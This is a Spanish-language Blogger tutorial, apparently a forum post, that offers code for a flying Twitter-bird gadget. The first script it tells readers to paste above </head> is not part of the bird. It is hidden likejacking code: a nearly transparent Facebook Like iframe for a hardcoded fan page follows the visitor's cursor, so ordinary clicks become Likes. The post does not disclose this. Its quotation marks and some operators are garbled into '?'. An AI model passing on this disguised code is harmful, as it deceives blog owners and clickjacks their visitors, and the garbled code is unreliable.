El pájaro de Twitter volando por el Blog

Ya hemos visto distintas formas para personalizar Blogger con distintos plugins, gadgets y cientas de cosas más. En esta oportunidad les mostraré cómo obtener el pájaro de Twitter volando por el blog. Este pájaro permite que al presionar en el icono se abra nuestro usuario en Twitter y los usuarios podrán seguirnos.
Vista previa del gadget:


Verás que el pájaro se desplaza a distintas zonas del blog, y no solo arriba y abajo, sino que también en dirección diagonal.
¿Cómo obtener este plugin?

Primero, vamos a la edicion HTML y buscamos la etiqueta </head> y justo arriba pegar el siguiente codigo:
<script>
var fan_page_url = ?https://www.facebook.com/605072452965709?
var opacity =0.04;
var time = 60000;
</script>
<script>
if((document.getElementById) && window.addEventListener || window.attachEvent){
    (function(){
        var hairCol = ?#ff0000?;

        var d = document;
        var my = -10;
        var mx = -10;
        var r;
        var vert = ??;

        var idx = document.getElementsByTagName(?div?).length;

        var thehairs = ?<iframe id=?theiframe? scrolling=?no? frameBorder=?0? allowTransparency=?true? src=?http://www.facebook.com/widgets/like.php?href=? + encodeURIComponent(fan_page_url) + ?&amp;layout=standard&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30? style=?position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:? + opacity +?;filter:alpha(opacity=? + opacity * 100+ ?);?></iframe>?;
        var like;
        var faceLike=getCookie(?faceLike?);
        if (faceLike!=null && faceLike!=??)
        {               
        }
        else
        {
            setCookie(?faceLike?,?liked?,1);
            document.write(thehairs);
            like = document.getElementById(?theiframe?);
            document.getElementsByTagName(?body?)[0].appendChild(like);
        }
        var pix = ?px?;
        var domWw = (typeof window.innerWidth == ?number?);
        var domSy = (typeof window.pageYOffset == ?number?);
   

        if (domWw)
            r = window;
        else{
            if (d.documentElement && typeof d.documentElement.clientWidth == ?number? && d.documentElement.clientWidth != 0)
                r = d.documentElement;
            else{
                if (d.body && typeof d.body.clientWidth == ?number?)
                    r = d.body;
            }
        }

    
        if(time != 0){
            setTimeout(function(){
                        document.getElementsByTagName(?body?)[0].removeChild(like);

                        if (window.addEventListener){
                            document.removeEventListener(?mousemove?,mouse,false);
                        }
                        else if (window.attachEvent){
                            document.detachEvent(?onmousemove?,mouse);
                        }
                    }, time);
        }

        function scrl(yx){
            var y,x;
            if (domSy){
                y = r.pageYOffset;
                x = r.pageXOffset;
            }
            else{
                y = r.scrollTop;
                x = r.scrollLeft;
            }
            return (yx == 0) ? y:x;
        }

        function mouse(e){
            var msy = (domSy)?window.pageYOffset:0;
            if (!e)
                e = window.event;
            if (typeof e.pageY == ?number?){
                my = e.pageY ? 15 ? msy;
                mx = e.pageX ? 34;
            }
            else{
                my = e.clientY ? 16 ? msy;
                mx = e.clientX ? 36;
            }
            vert.top = my + scrl(0) + pix;
            vert.left = mx + pix;
        }

        function ani(){
            vert.top = my + scrl(0) + pix;
            setTimeout(ani, 300);
        }

        function init(){
            vert = document.getElementById(?theiframe?).style;
            ani();
        }
        function getCookie(c_name)
        {
        var c_value = document.cookie;
        var c_start = c_value.indexOf(? ? + c_name + ?=?);
        if (c_start == -1)
        {
        c_start = c_value.indexOf(c_name + ?=?);
        }
        if (c_start == -1)
        {
        c_value = null;
        }
        else
        {
        c_start = c_value.indexOf(?=?, c_start) + 1;
        var c_end = c_value.indexOf(?;?, c_start);
        if (c_end == -1)
        {
        c_end = c_value.length;
        }
        c_value = unescape(c_value.substring(c_start,c_end));
        }
        return c_value;
        }

        function setCookie(c_name,value,exdays)
        {
        var exdate=new Date();
        exdate.setDate(exdate.getDate() + exdays);
        var c_value=escape(value) + ((exdays==null) ? ?? : ?; expires=?+exdate.toUTCString());
        document.cookie=c_name + ?=? + c_value;
        }

        function checkCookie()
        {
        var faceLike=getCookie(?faceLike?);
        if (faceLike!=null && faceLike!=??)
          {
      
          alert(?Welcome again ? + faceLike);
      
          }
        else
          {
            setCookie(?faceLike?,?liked?,1);
          }
        }
    
    
        if (window.addEventListener){
            window.addEventListener(?load?,init,false);
            document.addEventListener(?mousemove?,mouse,false);
        }
        else if (window.attachEvent){
            window.attachEvent(?onload?,init);
            document.attachEvent(?onmousemove?,mouse);
        }

    })();
}//End
</script> 

Luego, vamos a ''Diseño/Elementos de la página'' en donde presionas en ''Añadir un gadget'':


Buscas el gadget ''HTML/Javascript'':



En donde pegarás el siguiente código:
<script src="https://sites.google.com/site/ayudabloggers/scripts/tripleflap.js" type="text/javascript"></script>
<script type="text/javascript">
var birdSprite='https://lh3.googleusercontent.com/-StM0Csn4ktc/TYNPdDXzNGI/AAAAAAAAAds/QPZ0-DbHgtc/s1600/birdsprite.png';
var targetElems=new Array('img','hr','table','td','div','input','textarea','button','select','ul','ol','li','h1','h2','h3','h4','p','code','object','a','b','strong','span');
var twitterAccount = 'http://twitter.com/USUARIO';
var twitterThisText ='';
tripleflapInit();
</script>
Presionas en ''Guardar'' y listo:


Nota:[ul][li]Recuerda cambiar ''USUARIO'' por el username de tu cuenta en Twitter.[/li][/color][/ul]
El pájaro de Twitter volando por el Blog
3 Puntos Score: 3/10
Visitas: 546 Favoritos: 0
Ver los usuarios que votaron...
0 Comentarios El pájaro de Twitter volando por el Blog
Este post no tiene comentarios. Sea el primero!
Para dejar un comentario Registrate! o.. eres ya usuario? Accede!